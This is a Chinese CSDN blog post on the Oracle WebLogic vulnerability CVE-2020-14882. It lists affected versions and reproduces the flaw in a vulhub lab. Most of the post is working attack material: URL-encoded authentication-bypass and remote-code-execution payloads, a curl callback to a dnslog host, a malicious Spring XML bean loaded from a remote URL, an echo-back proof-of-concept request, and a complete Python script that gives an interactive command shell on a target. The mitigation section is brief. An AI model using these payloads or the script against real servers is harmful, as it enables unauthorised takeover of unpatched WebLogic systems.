CVE-2020-14882 未授权访问 CVE-2020-148823 RCE 含利用脚本

该博客详细介绍了CVE-2020-14882漏洞,包括漏洞描述、影响版本、复现过程,特别是针对RCE(远程命令执行)的多种方法,如无回显配合dnslog的利用,以及可回显的POC。同时,提供了修复方案和漏洞利用脚本,帮助读者理解并防范此安全威胁。
摘要由CSDN通过智能技术生成

目录

0x01漏洞描述

0x02影响版本

0x03漏洞复现

1.未授权访问(低权限)

2.RCE(远程命令执行)无回显 可以搭配dnslog

3.使用dnslog(RCE)

4.被动访问XML文件方式(RCE)

5.可回显的POC(RCE)

0x04修复方案

0x05漏洞利用脚本:

0x06脚本测试图:


0x01漏洞描述

 
2020年10月30日, Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞最新补丁可被绕过,该漏洞编号为 CVE-2020-14882 ,漏洞等级:严重 ,漏洞评分:9.8 。
远程攻击者可以构造特殊的 HTTP 请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic ServerConsole 执行任意代码。
 
 

0x02影响版本

Oracle WeblogicServer 10.3.6.0.0
Oracle WeblogicServer 12.1.3.0.0
Oracle WeblogicServer 12.2.1.3.0
Oracle WeblogicServer 12.2.1.4.0
Oracle WeblogicServer 14.1.1.0.0
 

0x03漏洞复现

 

环境搭建:使用vulhub搭建环境
测试版本:administration console 12c 12.2.1.3.0
  • 1.未授权访问(低权限)

  • payload(GET)
/console/css/%252e%252e%252fconsole.portal

 

  • 截图:
 
  • 2.RCE(远程命令执行)无回显 可以搭配dnslog

  • payload:(GET)
  • dnslog    
  
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/sunsanhui');")

 

 
 
 
 
docker ps  #查看docker信息
 
docker exec -it 300eba524103 /bin/bash    #进入docker
 
 
cd /tmp/    #进入docker的tmp目录查看是否命令执行成功
 
 

 

  • 3.使用dnslog(RCE)

  • paylaod:
 
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20XXXXX.ceye.io');") 

 

 
  • 4.被动访问XML文件方式(RCE)

  • 缺点:需要Weblogic的服务器能够访问到恶意XML
  • payload
首先构造恶意的XML文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[touch /tmp/success2]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

 

例如将其放在了 http://example.com/rce.xml
 
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

 

5.可回显的POC(RCE)

 
GET /console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();') HTTP/1.1
Host: 192.168.222.135:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36
cmd: id

 

 

0x04修复方案

 

1、建议用户及时将 Weblogic 后台/console/console.portal 对外的访问权限暂时关闭。
2、此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。
注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。
 

0x05漏洞利用脚本:

源码 基于py3.8.1
import requests
import re
import http.client
import urllib3

name = '''
   _______      ________    ___   ___ ___   ___        __ _  _   ___   ___ ____  
  / ____\ \    / /  ____|  |__ \ / _ \__ \ / _ \      /_ | || | / _ \ / _ \___ \ 
 | |     \ \  / /| |__ ______ ) | | | | ) | | | |______| | || || (_) | (_) |__) |
 | |      \ \/ / |  __|______/ /| | | |/ /| | | |______| |__   _> _ < > _ <|__ < 
 | |____   \  /  | |____    / /_| |_| / /_| |_| |      | |  | || (_) | (_) |__) |
  \_____|   \/   |______|  |____|\___/____|\___/       |_|  |_| \___/ \___/____/ 
                                                             DESIGN BY Skhcats

'''

print(name)

urllib3.disable_warnings()
http.client.HTTPConnection._http_vsn = 10
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'


def send(host, poc, cmd):
    text = host + poc
    header = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36'
    }
    header['cmd'] = cmd
    try:
        res = requests.get(text, verify=False, headers=header, stream=True,timeout=5)
        if res.status_code == requests.codes.ok:
            res.encoding = 'utf-8'
            if 'html' in res.text:
                return '目标主机可能不存在此命令'
            else:
                return res.text
        else:
            return '状态码:'+res.status_code
    except Exception as e:
        print(e)
        print('致命错误/目标主机可能不存在此漏洞')
        exit(0)


if __name__ == '__main__':
    host = re.findall(r'https?://.+/',str(input("host(start with 'http://' or 'https://'):"))+r'/')[0]
    poc = r'''/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread currentThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = currentThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");field.setAccessible(true);Object obj = field.get(adapter);weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd");String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};if(cmd != null ){ String result = new java.util.Scanner(new java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter("\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();} currentThread.interrupt();')'''
    while True:
        cmd = input('cmd&> ')
        res = send(host, poc, cmd)
        print(res)

 

 

 

0x06脚本测试图:

 
 
 
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值